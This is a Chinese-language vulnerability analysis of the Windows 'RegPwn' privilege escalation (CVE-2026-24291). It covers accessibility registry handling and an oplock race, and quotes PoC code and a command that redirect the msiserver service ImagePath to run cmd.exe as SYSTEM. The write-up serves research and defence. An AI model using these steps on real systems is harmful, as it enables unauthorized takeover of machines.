RegPwn CVE-2026-24291

前置知识

辅助功能

Windows 辅助功能是 Microsoft Windows 内置的一系列功能,旨在使操作系统对残障人士或特定可用性需求者更易于使用。这些功能通过键盘输入、语音、屏幕旁白、视觉调整和辅助技术,提供了与系统交互的替代方式。

第三方辅助技术程序需要在以下注册表键中进行注册

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs

image-20260411172535516

其中注册表则对应不同Windows辅助功能

注册表项	        对应的辅助功能	说明
animations 动画效果设置 控制 Windows 动画显示
audiodescription 音频描述 为视频提供音频描述
caretbrowsing 光标浏览 在页面中使用光标键浏览
caretwidth 光标宽度 设置文本光标粗细
colorfiltering 颜色滤镜 色盲辅助滤镜
CursorIndicator 光标指示器 显示光标位置指示
cursorscheme 光标方案 鼠标指针样式设置
filterkeys 筛选键 忽略重复按键或短暂按键
focusborderheight 焦点边框高度 键盘焦点指示器高度
focusborderwidth 焦点边框宽度 键盘焦点指示器宽度
highcontrast 高对比度 高对比度主题
keyboardcues 键盘提示 显示键盘快捷键下划线
keyboardpref 键盘首选项 优先使用键盘而非鼠标
LiveCaptions 实时字幕 实时语音转文字字幕
magnifierpane 放大镜面板 屏幕放大工具
minimumhitradius 最小点击半径 触摸目标大小设置
mousekeys 鼠标键 用数字键盘控制鼠标
Narrator 讲述人 屏幕阅读器
osk 屏幕键盘 On-Screen Keyboard
overlappedcontent 重叠内容 窗口重叠行为设置
showsounds 显示声音 用视觉提示代替声音
soundsentry 声音卫士 系统声音的视觉通知
SpeechReco 语音识别 语音输入功能
stickykeys 粘滞键 按顺序而非同时按组合键
togglekeys 切换键 切换键(如 Caps Lock)的声音提示
VoiceAccess 语音访问 语音控制电脑
windowarranging 窗口排列 窗口自动排列设置
windowtracking 窗口跟踪 焦点跟随设置
windowtrackingtimeout 窗口跟踪超时 跟踪延迟设置
windowtrackingzorder 窗口跟踪 Z 顺序 窗口层级跟踪设置
Oracle_JavaAccessBridge Java 访问桥 Java 应用辅助功能支持

当启动这些程序时,会创建以下注册表键,并赋予低权限用户完全控制,还会写入所使用的辅助功能的相关配置

HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<xxxx>

image-20260411174028867

IL/UIPI/UIAccess

IL - 完整性级别

IL 是 Windows 强制访问控制 (Mandatory Integrity Control, MIC) 的核心。它为每个进程和对象分配一个 可信度 标签,使得进程不能向比自己 IL 等级更高的进程发送写入请求。Windows 主要有以下几个级别:

  • Untrusted (不信任):匿名登录进程
  • Low:典型的沙盒环境(如浏览器的隐身模式、AppContainer)
  • Medium:标准用户启动的普通程序
  • High:以管理员身份运行的程序(通过 UAC 提权)
  • System:操作系统核心进程

UIPI - 用户界面特权隔离

UIPI 是基于 IL 的一种安全机制。在 Windows Vista 之前,任何程序都可以向其他程序的窗口发送消息(如点击按钮、输入文本)恶意软件可以通过发送特定的窗口消息来劫持高权限进程。UIPI 有以下限制规则:

  • 禁止读取: 低 IL 进程无法查看高 IL 进程的窗口句柄

  • 禁止写入: 低 IL 进程不能通过 PostMessage 或 SendMessage 向高 IL 进程发送消息(除了极少数安全的消息)

  • 禁止挂钩: 低 IL 进程无法对高 IL 进程进行界面挂钩(Hooks)

UIAccess - 特许通行证

虽然 UIPI 保护了安全,但也带来了一种特殊情况:屏幕阅读器、放大镜等辅助功能,它们必须能够操控高权限窗口。

UIAccess是为了解决该特殊情况而设计的,它允许跨越 IL 限制向高权限窗口发送消息。获得 UIAccess 有以下条件:

  • 数字签名:程序必须经过受信任机构的数字签名

  • 安装目录:程序必须位于安全目录中(如 C:\Program Files 或 C:\Windows\System32)

  • 清单声明:在 .manifest 文件中明确申请该权限

安全桌面/用户桌面

用户桌面 (Default Desktop) 用户的Windows界面

安全桌面 (Secure Desktop) 是 Windows 操作系统中的一个特殊隔离环境,目的是当一个对系统安全至关重要的操作(如输入密码、确认权限提升)发生时,确保这个交互界面不会被恶意软件监视、篡改或欺骗,典型的应用场景有:

  • UAC
  • 系统登录/解锁 界面
  • Ctrl + Alt + Del 界面

安全桌面与用户桌面的核心区别是:只有以 SYSTEM 身份运行的受信任进程才能在安全桌面上执行,用户权限的进程无法在此运行

机会锁

机会锁(Oplock - Opportunistic Lock)是一种文件锁定机制,是为网络文件传输优化的。当一个客户端持有机会锁,另一个客户端也要打开同一个文件时,机会锁会被打断,典型流程如下:

  • 客户端 A 打开文件 file1,请求并获得独占机会锁,开始本地缓存读写

  • 客户端 B 尝试打开同一个 file1

  • 服务器 暂停 客户端 B 的请求,向客户端 A 发送打断通知

  • 客户端 A 收到通知后,将本地缓存的脏数据刷新(写回)到服务器,释放锁

  • 服务器确认完成后,响应客户端 B 的打开请求

如果客户端 A 在 35 秒内没有响应打断通知,服务器会强制清除客户端 A 的锁,直接授予客户端 B 访问权限。

流程分析

漏洞的基本流程如下

1.low osk
遍历 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs
创建并赋值 HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk (有所有权限)

遍历 HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk 复制到
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk (low 特殊权限 可创建链接)

2.安全桌面

3.system atbroker
遍历 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk 复制到
HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk (low只读)

4.low atbroker
遍历 HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk 复制到
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk (low 特殊权限 可创建链接)

5.system atbroker
遍历 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk 复制到
HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk (low只读)

6.system osk (触发锁,修改HKLM为link)
遍历 HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk 复制到
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk (low 特殊权限 可创建链接)

7.删除 HKLM的link

完整模拟流程:

  • 启动osk.exe
  • 触发安全桌面

Process Monitor设置如下

image-20260411181851309

启动osk.exe后首先读取注册程序的默认值

image-20260411183608201

随后创建了注册表项,并初始化其值

HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk

image-20260411183801449

随后还设置了

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk

image-20260411184040294

并且这个HKLM对于低权限用户具有特殊权限

image-20260411185635044

特殊权限包括创建链接!

image-20260411185658583

随后触发安全桌面,会启动两个atbroker.exe 一个 SYSTEM,一个低权限用户admin

SYSTEM身份的atbroker会将注册表赋值

HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk

image-20260411184254653

低权限的atbroker会将注册表赋值

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk

image-20260411184616018

又一个SYSTEM身份的atbroker会将注册表赋值

HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk

image-20260411184932596

最后启动一个SYSTEM的osk.exe会将注册表赋值

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session1\ATConfig\osk

image-20260411185023460

基本流程如上,分析一下漏洞链

HKCU、HKLM 可控
low osk控制 HKCU 控制 HKLM,在 system atbroker 中 HKLM 控制 HKU,在 system osk 中 HKU写入到 HKLM。因此只要将恶意项通过HKCU写入到HKU,并利用机会锁在system atbroker之后,system osk之前将HKLM修改为注册表符号链接,就能在SYSTEM上下文中实现注册表劫持!

  • 创建osk进程
  • 添加恶意项到HKCU
  • 加机会锁
  • 触发安全桌面
  • HKCU -> HKLM -> HKU
  • system上下文的osk.exe触发锁
  • 修改HKLM为Link
  • 释放锁
  • system上下文的osk.exe将HKU写到HKLM指向的位置
  • 完成注册表劫持

Poc分析

https://github.com/mdsecactivebreach/RegPwn

RegPwn.exe --regKey HKLM\SYSTEM\ControlSet001\Services\msiserver --regValueName ImagePath --regValueData "C:\Windows\System32\cmd.exe /c notepad.exe" --regValueType REG_EXPAND_SZ
sc start msiserver

创建osk进程

public static bool StartOsk()
{
var shExInfo = new WindowsApi.SHELLEXECUTEINFO
{
cbSize = Marshal.SizeOf(typeof(WindowsApi.SHELLEXECUTEINFO)),
fMask = 0x00000040,
hwnd = IntPtr.Zero,
lpFile = @"C:\Windows\System32\osk.exe",
lpParameters = null,
lpDirectory = null,
nShow = 0,
hInstApp = IntPtr.Zero
};

if (ShellExecuteEx(ref shExInfo))
{
Console.WriteLine("[+] Process created. Sleeping for 5 seconds.");
Thread.Sleep(5000);

if (shExInfo.hProcess != IntPtr.Zero)
{
CloseHandle(shExInfo.hProcess);
}
return true;
}
...

往HKCU中添加恶意项,这里劫持的是msiserver服务的ImagePath

public static bool AddRegValue()
{
IntPtr hKey;
RegistryDispositionValue iDisposition;
if (RegCreateKeyExW(HKEY_CURRENT_USER, @"Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\osk", 0, null, 0, KEY_WRITE, IntPtr.Zero, out hKey, out iDisposition) != 0x0)
{
Console.WriteLine("[-] RegCreateKeyExW failed: {0}.", Marshal.GetLastWin32Error());
return false;
}
byte[] data = System.Text.Encoding.Unicode.GetBytes(Config.regValueData);
if (RegSetValueExW(hKey, Config.regValueName, 0, REG_EXPAND_SZ, data, (uint)data.Length) != 0x0)
{
Console.WriteLine("[-] RegSetValueExW failed: {0}.", Marshal.GetLastWin32Error());
return false;
}
RegCloseKey(hKey);
Console.WriteLine("[+] Registry value added.");
return true;
}

加机会锁

NtFile hfile = NtFile.Open(@"\??\C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml", null, FileAccessRights.GenericRead, FileShareMode.Write | FileShareMode.Delete, FileOpenOptions.None);
var oplock = hfile.OplockExclusiveAsync();

触发安全桌面

LockWorkStation();

当触发锁时,删除HKLM,创建HKLM为链接

Console.WriteLine("[+] Oplock triggered.");
if (RegDeleteKey(HKEY_LOCAL_MACHINE, hklmPath) != 0x0)
{
Console.WriteLine("[-] RegDeleteKey failed: {0}", Marshal.GetLastWin32Error());
return;
}
byte[] data = System.Text.Encoding.Unicode.GetBytes(@"\Registry\Machine\" + Config.regKey.Substring(5));
IntPtr hKey;
RegistryDispositionValue disposition;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, hklmPath, 0, null, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_WRITE, IntPtr.Zero, out hKey, out disposition) != 0x0)
{
Console.WriteLine("[-] RegCreateKeyExW failed: {0}", Marshal.GetLastWin32Error());
return;
}

if (RegSetValueExW(hKey, "SymbolicLinkValue", 0, REG_LINK, data, (uint)data.Length) != 0x0)
{
Console.WriteLine("[-] RegSetValueExW failed: {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("[+] Symlink created.");
RegCloseKey(hKey);

image-20260411193326900

https://www.mdsec.co.uk/2026/03/rip-regpwn/

https://mp.weixin.qq.com/s/bBNSMWYdooozec5F2Zf00Q